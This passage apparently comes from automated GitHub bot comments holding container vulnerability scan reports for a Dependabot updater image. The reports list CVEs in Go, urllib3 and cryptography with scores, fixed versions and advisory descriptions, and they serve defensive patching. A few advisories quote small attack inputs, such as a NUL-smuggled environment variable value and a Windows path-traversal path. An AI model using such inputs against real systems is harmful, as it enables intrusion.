        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

        pkg:pypi/urllib3@2.0.7

        high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.22
        <2.6.3
        Fixed version2.6.3
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

        However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

        Affected usages

        Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

        Remediation

        Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

        If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

        high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.0
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.027%
        EPSS Percentile7th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

        The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

        stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

        If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

        Credits

        The issue was reported by @Cycloctane.
        Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

        high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

        Affected range>=1.24
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.029%
        EPSS Percentile8th percentile
        Description

        Impact

        urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

        However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

        If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

        critical: 0 high: 3 medium: 0 low: 0 cryptography 41.0.7 (pypi)

        pkg:pypi/cryptography@41.0.7

        high 8.7: CVE--2023--50782 Observable Discrepancy

        Affected range<42.0.0
        Fixed version42.0.0
        CVSS Score8.7
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
        EPSS Score0.855%
        EPSS Percentile75th percentile
        Description

        A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

        high 8.2: CVE--2026--26007 Insufficient Verification of Data Authenticity

        Affected range<=46.0.4
        Fixed version46.0.5
        CVSS Score8.2
        CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
        EPSS Score0.007%
        EPSS Percentile0th percentile
        Description

        Vulnerability Summary

        The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

        This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

        Only SECT curves are impacted by this.

        Credit

        This vulnerability was discovered by:

        • XlabAI Team of Tencent Xuanwu Lab
        • Atuin Automated Vulnerability Discovery Engine

        high 7.5: CVE--2024--26130 NULL Pointer Dereference

        Affected range>=38.0.0
        <42.0.4
        Fixed version42.0.4
        CVSS Score7.5
        CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
        EPSS Score0.341%
        EPSS Percentile56th percentile
        Description

        If pkcs12.serialize_key_and_certificates is called with both:

        1. A certificate whose public key did not match the provided private key
        2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

        Then a NULL pointer dereference would occur, crashing the Python process.

        This has been resolved, and now a ValueError is properly raised.

        Patched in pyca/cryptography#10423

        critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

        pkg:golang/golang.org/x/crypto@0.36.0

        high : CVE--2025--47913

        Affected range<0.43.0
        Fixed version0.43.0
        EPSS Score0.033%
        EPSS Percentile10th percentile
        Description

        SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

        Base image is ubuntu:24.04

        Name24.04
        Digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        Vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        Pushed2 weeks ago
        Size30 MB
        Packages131
        OS24.04
        The base image is also available under the supported tag(s): latest, noble

        Refresh base image

        Rebuild the image using a newer base image version. Updating this may result in breaking changes.

        ✅ This image version is up to date.

        Change base image

        TagDetailsPushedVulnerabilities
        26.04
        Major OS version update
        Also known as:
        • devel
        • resolute
        • resolute-20260108
        		 Benefits:
        • Image contains 9 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 26.04
        		 1 month ago



        25.10
        Major OS version update
        Also known as:
        • rolling
        • questing
        • questing-20251217
        		 Benefits:
        • Image contains 7 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 25.10
        		 2 months ago



        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

        📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
        digestsha256:bf54b2c91cecf373014f9da2661b8bde31e370172c9d5e3bc190b683ca4e2139
        vulnerabilitiescritical: 6 high: 51 medium: 0 low: 0
        platformlinux/amd64
        size347 MB
        packages597
        📦 Base Image ubuntu:24.04
        also known as
        • latest
        • noble
        digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        critical: 5 high: 38 medium: 0 low: 0 stdlib 1.18.3 (golang)

        pkg:golang/stdlib@1.18.3

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        critical : CVE--2024--24790

        Affected range<1.21.11
        Fixed version1.21.11
        EPSS Score0.082%
        EPSS Percentile24th percentile
        Description

        The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

        critical : CVE--2023--24540

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.243%
        EPSS Percentile47th percentile
        Description

        Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

        critical : CVE--2023--24538

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.646%
        EPSS Percentile70th percentile
        Description

        Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

        Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

        As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

        With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

        Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

        critical : CVE--2025--22871

        Affected range<1.23.8
        Fixed version1.23.8
        EPSS Score0.169%
        EPSS Percentile38th percentile
        Description

        The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

        high : CVE--2023--29403

        Affected range<1.19.10
        Fixed version1.19.10
        EPSS Score0.009%
        EPSS Percentile1st percentile
        Description

        On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

        If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2024--34158

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.163%
        EPSS Percentile37th percentile
        Description

        Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

        high : CVE--2024--34156

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.306%
        EPSS Percentile53rd percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

        high : CVE--2024--24791

        Affected range<1.21.12
        Fixed version1.21.12
        EPSS Score0.618%
        EPSS Percentile70th percentile
        Description

        The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

        An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

        high : CVE--2024--24784

        Affected range<1.21.8
        Fixed version1.21.8
        EPSS Score1.498%
        EPSS Percentile81st percentile
        Description

        The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

        high : CVE--2023--45288

        Affected range<1.21.9
        Fixed version1.21.9
        EPSS Score71.463%
        EPSS Percentile99th percentile
        Description

        An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

        Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

        This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

        The fix sets a limit on the amount of excess header frames we will process before closing a connection.

        high : CVE--2023--45287

        Affected range<1.20.0
        Fixed version1.20.0
        EPSS Score0.190%
        EPSS Percentile41st percentile
        Description

        Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

        In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

        high : CVE--2023--45283

        Affected range<1.20.11
        Fixed version1.20.11
        EPSS Score0.083%
        EPSS Percentile24th percentile
        Description

        The filepath package does not recognize paths with a ??\ prefix as special.

        On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

        Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

        Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

        In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

        UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

        high : CVE--2023--44487

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score94.446%
        EPSS Percentile100th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--39325

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score0.150%
        EPSS Percentile35th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--24537

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

        high : CVE--2023--24536

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.070%
        EPSS Percentile21st percentile
        Description

        Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

        This stems from several causes:

        1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
        2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
        3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

        The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

        In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

        1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
        2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

        high : CVE--2023--24534

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

        Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

        With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

        high : CVE--2022--41725

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.055%
        EPSS Percentile17th percentile
        Description

        A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

        Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

        With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

        In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

        Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

        high : CVE--2022--41724

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Large handshake records may cause panics in crypto/tls.

        Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

        This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

        high : CVE--2022--41723

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.195%
        EPSS Percentile41st percentile
        Description

        A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

        high : CVE--2022--41722

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.175%
        EPSS Percentile39th percentile
        Description

        A path traversal vulnerability exists in filepath.Clean on Windows.

        On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

        After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

        high : CVE--2022--41720

        Affected range<1.18.9
        Fixed version1.18.9
        EPSS Score0.035%
        EPSS Percentile10th percentile
        Description

        On Windows, restricted files can be accessed via os.DirFS and http.Dir.

        The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

        In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

        With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

        high : CVE--2022--41716

        Affected range<1.18.8
        Fixed version1.18.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

        In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

        high : CVE--2022--41715

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile4th percentile
        Description

        Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

        The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

        After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

        high : CVE--2022--32189

        Affected range>=1.18.0-0
        <1.18.5
        Fixed version1.18.5
        EPSS Score0.113%
        EPSS Percentile30th percentile
        Description

        Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

        high : CVE--2022--30635

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.098%
        EPSS Percentile27th percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

        high : CVE--2022--30633

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

        high : CVE--2022--30632

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--30631

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.041%
        EPSS Percentile12th percentile
        Description

        Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

        high : CVE--2022--30630

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--2880

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.032%
        EPSS Percentile9th percentile
        Description

        Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

        After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

        high : CVE--2022--2879

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

        high : CVE--2022--28131

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

        high : CVE--2022--27664

        Affected range<1.18.6
        Fixed version1.18.6
        EPSS Score0.093%
        EPSS Percentile26th percentile
        Description

        HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

        high : CVE--2023--29400

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

        high : CVE--2023--24539

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.065%
        EPSS Percentile20th percentile
        Description

        Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

        critical: 1 high: 6 medium: 0 low: 0 stdlib 1.24.4 (golang)

        pkg:golang/stdlib@1.24.4

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

